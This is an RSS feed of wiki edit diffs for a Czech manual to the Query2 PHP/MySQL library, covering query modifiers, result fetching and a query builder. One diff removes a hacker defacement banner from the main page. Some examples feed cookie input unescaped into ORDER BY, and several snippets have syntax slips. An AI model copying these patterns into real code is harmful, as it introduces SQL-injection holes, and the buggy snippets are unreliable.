	  <description><pre id="diff">{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.

!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna - celé Query2 má asi 17KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 15krát tolik.
* Flexibilní a mocný - Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně - tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry - v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]


!Download

Aktuální stabilní verze je <del>1.0.4,</del><ins>1.0.5,</ins> k dispozici ke stáhnutí <del>[zde|./download/Query2-1.0.4.tar.gz].</del><ins>[zde|./download/Query2-1.0.5.tar.gz].</ins> SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].

Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].

!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.
<ins></ins>






!Manuál
!!Připojení k databázi

{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);

// Jde to ale i jinak
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}

!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();

// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}

Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). 

Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.

!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.

* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %q (&quot;query&quot;) - pouze vloží argument, nijak ho neupravuje ani neobklopuje žádným znakem. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** Vhodné použití je spouštění nativních SQL dotazů $q-&gt;query(&quot;%q&quot;, $native); což se hodí pro jednotné logování a správu chyb.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže

Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.

!!!Příklady

{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);

// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);

// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}


!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot; : &quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}

$q-&gt;setLogCallback(&quot;logger&quot;);

$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}

!!Pomocné metody
* composeQuery() - akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery() - vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.

!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.

!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.

!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].
</pre></description>
	</item>

	<item>
	  <title>Main page</title>
	  <pubDate>Tue, 11 May 2010 20:50:56 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Main+page</link>
	  <description><pre id="diff"><del>{html}&lt;html&gt;&lt;head&gt;</del><ins>{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.</ins>

<ins>!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna - celé Query2 má asi 17KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 15krát tolik.
* Flexibilní a mocný - Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně - tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry - v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]</ins>


<ins>!Download</ins>

<del>&lt;meta http-equiv=&quot;Content-Language&quot; content=&quot;en-us&quot;&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=windows-1252&quot;&gt;
&lt;title&gt;[ Hacked By IzraiL @ Devilzc0de ] &lt;/title&gt;
&lt;style type=&quot;text/css&quot;&gt;</del><ins>Aktuální stabilní verze je 1.0.4, k dispozici ke stáhnutí [zde|./download/Query2-1.0.4.tar.gz]. SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].</ins>

<del>BODY {
    SCROLLBAR-FACE-COLOR: #000000;
    SCROLLBAR-HIGHLIGHT-COLOR: #000000;
    SCROLLBAR-SHADOW-COLOR: #000000;
    SCROLLBAR-3DLIGHT-COLOR: #000000;
    SCROLLBAR-ARROW-COLOR: #FFFFFF;
    SCROLLBAR-TRACK-COLOR: #000000;
    SCROLLBAR-DARKSHADOW-COLOR: #000000
}
}
BODY {
CURSOR: crosshair
}
&lt;/style&gt;
&lt;/head&gt;&lt;body style=&quot;font-family: fixedsys; text-align: center;&quot; bgcolor=&quot;#000000&quot;&gt;&lt;span style=&quot;height: 30px;&quot;&gt;</del><ins>Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].</ins>

<ins>!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.</ins>

<del>&lt;div dir=&quot;ltr&quot; align=&quot;center&quot;&gt;&lt;span&quot;&gt;
            &lt;p align=&quot;center&quot;&gt;
            &lt;font style=&quot;font-size: 30pt;&quot; color=&quot;#536172&quot; face=&quot;Impact&quot;&gt;| &lt;/font&gt;</del>

<del>            &lt;font style=&quot;font-size: 30pt;&quot; color=&quot;#ffffff&quot; face=&quot;Impact&quot;&gt; Hacked By IzraiL @ Devilzc0de.org &lt;/font&gt;
            &lt;font style=&quot;font-size: 30pt;&quot; color=&quot;#536172&quot; face=&quot;Impact&quot;&gt;|&lt;/font&gt;&lt;/p&gt;
            &lt;p&gt; &lt;font size=&quot;2&quot;&gt;
            &lt;img src=&quot;maf.jpg&quot; alt=&quot;[. Hacked .]&quot; border=&quot;0&quot;&gt;&lt;/font&gt;&lt;/p&gt;
    &lt;span style=&quot;&quot;&gt;
&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;font color=&quot;#f5f5f5&quot; size=&quot;2&quot;&gt;Hy admin Patch ur Site...&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;</del>

<del>&lt;font face=&quot;Fixedsys&quot;&gt;&lt;/font&gt;</del>

<del>    &lt;/span&gt;&lt;font face=&quot;Fixedsys&quot;&gt;
&lt;/font&gt;&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;font color=&quot;#f5f5f5&quot; size=&quot;2&quot;&gt; &lt;/font&gt;&lt;font size=&quot;2&quot;&gt;
&lt;font color=&quot;#536172&quot;&gt;&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot;&gt;
&lt;/font&gt;&lt;font color=&quot;#536172&quot;&gt;
[&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot;&gt;
&lt;/font&gt;&lt;font color=&quot;#cc0000&quot;&gt;
http://devilzc0de.org&lt;font color=&quot;#536172&quot;&gt;
]&lt;/font&gt;&lt;pre&gt;________              .__.__                _______       .___      
\______ \   _______  _|__|  | ________ ____ \   _  \    __| _/____  
|    |  \_/ __ \  \/ /  |  | \___   // ___\/  /_\  \  / __ |/ __ \
|    `   \  ___/\   /|  |  |__/    /\  \___\  \_/   \/ /_/ \  ___/
/_______  /\___  &amp;gt;\_/ |__|____/_____ \\___  &amp;gt;\_____  /\____ |\___  &amp;gt;
        \/     \/                   \/    \/       \/      \/    \/</del>

<del>&lt;/pre&gt;
&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot;&gt;
&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;
&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;
&lt;/b&gt;&lt;/font&gt;&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font color=&quot;#536172&quot; face=&quot;Fixedsys&quot; size=&quot;2&quot;&gt;
[&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot; face=&quot;Tahoma&quot; size=&quot;2&quot;&gt;
&lt;/font&gt;&lt;b&gt;&lt;span lang=&quot;ar-sa&quot;&gt;
&lt;font color=&quot;#f5f5f5&quot; face=&quot;Tahoma&quot; size=&quot;2&quot;&gt;Security 0%&lt;/font&gt;&lt;/span&gt;&lt;/b&gt;&lt;font color=&quot;#f5f5f5&quot; face=&quot;Tahoma&quot; size=&quot;2&quot;&gt;
&lt;/font&gt;&lt;font color=&quot;#536172&quot; face=&quot;Fixedsys&quot; size=&quot;2&quot;&gt;
]&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font face=&quot;Fixedsys&quot;&gt;
&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;font color=&quot;#536172&quot; size=&quot;2&quot;&gt;//&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot; size=&quot;2&quot;&gt; Droped html Size&lt;/font&gt;</del>

<del>&lt;font color=&quot;#536172&quot; size=&quot;2&quot;&gt;//&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;b&gt;&lt;font face=&quot;Fixedsys&quot;&gt;&lt;font color=&quot;#f5f5f5&quot; size=&quot;2&quot;&gt;Contact me at&lt;/font&gt;&lt;font color=&quot;#536172&quot; size=&quot;2&quot;&gt;:&lt;/font&gt;&lt;font color=&quot;#f5f5f5&quot;&gt;&lt;font size=&quot;2&quot;&gt;</del><ins>!Manuál
!!Připojení k databázi

{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);

// Jde to ale i jinak
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}

!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();

// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}

